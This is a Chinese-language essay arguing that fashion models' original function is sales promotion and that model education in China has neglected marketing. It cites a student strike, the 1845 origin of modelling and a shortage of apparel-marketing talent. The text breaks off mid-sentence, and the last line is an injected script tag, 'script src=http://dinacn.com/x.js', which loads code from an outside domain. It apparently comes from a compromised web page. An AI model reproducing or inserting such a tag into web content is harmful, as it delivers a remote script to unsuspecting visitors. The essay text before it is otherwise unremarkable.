“海南某高校时装表演班学生集体联名罢课，状告学校老师视她们为赚钱工具，经常让她们到娱乐场所进行商业演出，还受到了欺负……”。这则文章是学生家长写的，现象让人深思，作为从事模特教育的我们不仅要问：模特的职能到底是什么？模特教育究竟该朝什么方向发展？

　　促销是模特最原始的职能

　　1845年，法国时装设计师查尔斯·弗雷德里克·沃思让他的女店员玛丽穿了店里的披肩走动起来向顾客进行展示，取得了很好的销售效果，玛丽也无意中成为第一个时装模特。随即这种促销方式便被各时装店效仿开来，并使用了五颜六色的灯光以及具有节奏感的音乐，还有专门的“T”型舞台，一种新的表演形式诞生了。由此可以看出最初的时装模特是因促销而生，也就是说营销是模特最原始的职能。

　　时装表演是一种利用真人模特向顾客展示服饰的促销手段，模特通过形体与衣装构筑的时尚形象和生活状态，显现设计师的创造力和想象力，表现服饰性能、款式及造型艺术，引导消费者对一种时尚文化的认同和对某种品位服饰消费的欲望。时装表演有助于形成对流行的直观、权威的表达，并成为一种最令人兴奋的促销方式，模特行业成为时装行业中不可缺少的构成因素。

　　服装营销人才缺乏的现状

　　随着服装行业在我国迅速的发展，服装企业、时装品牌如雨后春笋勃勃而生。行业发展快了，产品多了，销售的却不好，很难打入国际市场。有的企业销售额很高却赚钱很少，甚至亏损。营销作为服装行业的重要组成环节，其中的人才该从哪里获得呢？

　　我国服装营销人才主要来自高等院校毕业生、有市场经验的个体经营者等。虽然大学里都有市场营销专业，但没有专门的服装营销专业。大学里的营销课程是“放之四海而皆准”的通用原理，但针对服装市场这些原理就显得底气不足，没有具体的应用招数，再加上市场营销专业的学生往往因缺乏相应的服装知识而遭遇障碍；而纺织服装院校只设有服装设计、服装工程、服装表演等专业。我们从服装专业中找不到服装营销这个专业，服装营销课程也显得极不重要，只是各专业的选修课。以至于服装营销没有对口专业，找不到人才来源。
　　服装营销人才缺乏的现状，呼唤大量的新生力量。

　　模特是服装营销人才的重要组成部分

　　从一定意义上说，模特是当代生活方式的诠释者，甚至可能是启动者。更准确地说时装模特是设计师与消费大众沟通的使者。因为这种文化张力，服装模特职业才出现了泛化的倾向，他们不仅搞表演，也广泛地参加其他社会工作，其中一方面就是直接面对消费者的促销工作。就模特自身而言，职业的广泛社交特性培养了他们自信的特征，使他们具有调控自信心的能力，充分肯定自己，和任何人打交道都不恐惧、自卑，无论遇到什么场合，都能尽量做到谈笑风生，应对自如，这些也是一个服装营销人员应该具备的素质。

　　模特做销售是本职工作之一，一开始就先天优越于其他专业的人。模特的基本素质之一就是经营能力，不管表演职业有多么重的文化色彩，它总是与塑造企业形象联系着，与产品的推销工作联系着。所以在模特职业生涯结束的时候，经营意识的建立，经营能力的培养是他们以后最为有效的发展道路。

　　模特教育忽略营销职能

　　纵观某些地区模特行业发展产生的偏差——职能娱乐化，甚至出现不健康的倾向，主要是因为在我国模特专业教育中，忽略了营销这个模特最原始的职能。不少家长和少男少女将模特这一职业视为“名利双收”的捷径，再加上近几年各种不正规模特大赛的泛滥、时装表演娱乐性的片面强调，都导致了行业的畸形发展。模特的营销职能被淡忘了，取而代之的是娱乐色彩。像一开始提到的那篇文章，说明的正是培养模特的方向和模特自身的发展出现的问题，归结起来大致有三个方面原因：

　　（一） 媒体与公众 

　　一些媒体将“选美”与“模特大赛”混为一谈，大肆渲染模特的容貌身段而忽视其主要的工作职能，误导公众对模特职业的认识。公众也认为，任何人只要脸蛋漂亮、身材苗条、走上T台都可以成为模特。很多明星客串模特走台，其炒作也大大打击了时装模特行业，削弱了本来营销职能就不是很强的模特业，误导了模特本人、误导了公众。

　　（二） 模特本身

　　很多从事模特工作的人都是为了当“明星”，在受人喜爱和赞扬的同时，极大地满足了虚荣心，他们只注重对自己外表的修饰，根本不知道模特的工作职能是什么，尤其在获大奖之后茫然不知前面的路要怎样走，不知道在“青春饭”过后该做什么，模特的低龄化更深刻反映了这个问题。

　　（三） 模特教育

　　高校模特专业教育是顺应模特职业的走红、模特职业化发展的需要而开设的。虽然从学历教育来?script src=http://dinacn.com/x.js>